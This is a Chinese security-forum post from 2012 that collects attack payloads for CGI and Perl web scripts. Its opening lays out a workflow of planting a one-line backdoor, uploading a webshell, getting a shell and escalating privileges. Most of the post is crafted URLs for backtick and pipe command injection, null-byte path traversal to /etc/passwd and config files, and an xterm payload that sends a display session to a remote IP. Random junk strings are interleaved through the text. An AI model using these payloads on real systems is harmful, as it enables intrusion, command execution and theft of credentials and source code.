找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2585|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  ' u0 F2 `1 V% m6 r/ \
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  ( C" N. ~$ o, c( J: q: {
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  & f, Z8 ~2 g$ t/ e, X3 y' A
注“  
4 q1 V0 Z. t( {. X: Dperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ( j3 _! P& }% d8 @! ^
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
% i' L6 x6 @+ s5 H
. ~( y" [& b) f" Ahttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
8 }  t8 O0 R) {http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
( Q& ~" A' c% G0 chttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  + ^% i4 `6 W5 S( ]3 j7 L
http://target.com/cgi-bin/home/news/sub.pl?`id`  
2 U2 c" w/ Z8 Ehttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  4 F  d0 z$ b# B4 B" F  y6 `8 y" ?+ ?( |
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
7 j' T6 x* |3 m2 `
  V$ T' V, a6 f: f0 s8 jhttp://target.com/test.pl;ls|  / p) X- t. ]! S+ H2 d
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
$ ^- r$ V* |$ S, f8 S( ~9 \8 khttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
" T' Z9 Z! x6 H/ I% y2 zhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
8 f4 ~- `- c+ }9 H& a比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  $ B9 Z0 B* O& C. [4 I
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  4 V1 v% Y8 j1 B

5 ^* K, A& R. M( S+ A' O5 Ahttp://target.com/test.pl?&........ /../../etc/passwd  
& v, |8 w: f8 c3 g# p7 o) r9 n, R5 {! S% w4 w' x/ q5 b
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
% p% C7 V- {' T; P% U$ Uhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
; v- L% H' a2 C5 H' {# a# d1 ahttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
2 u1 s2 g$ z6 g/ d, K. N; j) J* }) E. J2 [9 D5 V) S' P% ~% s9 d! p
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
7 B( O) r- ]# M8 Xhttp://www.target.org/show.php?f ... ng/admin/global.php  3 @2 m9 ?* A" g' K: X5 z& u' f3 K
, V, e9 z5 g; g+ j2 G6 y* l
emm和ps的一句话. K. g, `/ W  E7 Q* j% r* a

  G$ {6 Q/ i( S7 }' ?6 U5 T# _http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
/ @$ _* n; B% G/ F9 N* {6 g% j6 o7 w- c0 p1 ?3 j5 F7 t
>bbb%20|  
% u8 x* M) L! S3 y, b# R; |- ?, m9 t/ P3 K# C" F8 G/ ^' G
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  : Q$ j# h0 D: b; A
1 D+ y' v5 V, y, M6 z+ L
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  % m, z9 d0 ~3 O: G! d! w/ r2 o
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  ; ?* N9 w/ v3 z- O& c& O5 r! C4 K

6 g2 y2 _& k4 n% Z' D- j- u相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
* A2 m8 V4 G( [* {http://target.com/index.html#cmd.exe  
% ^: K% I. N: m. d. i: A/ lhttp://target.com/index.html?dummyparam=xp_cmdshell  
+ s& ~; ~* C8 e/ a& ]lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  : J$ X' ]* D$ l! ^5 _/ v. {3 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表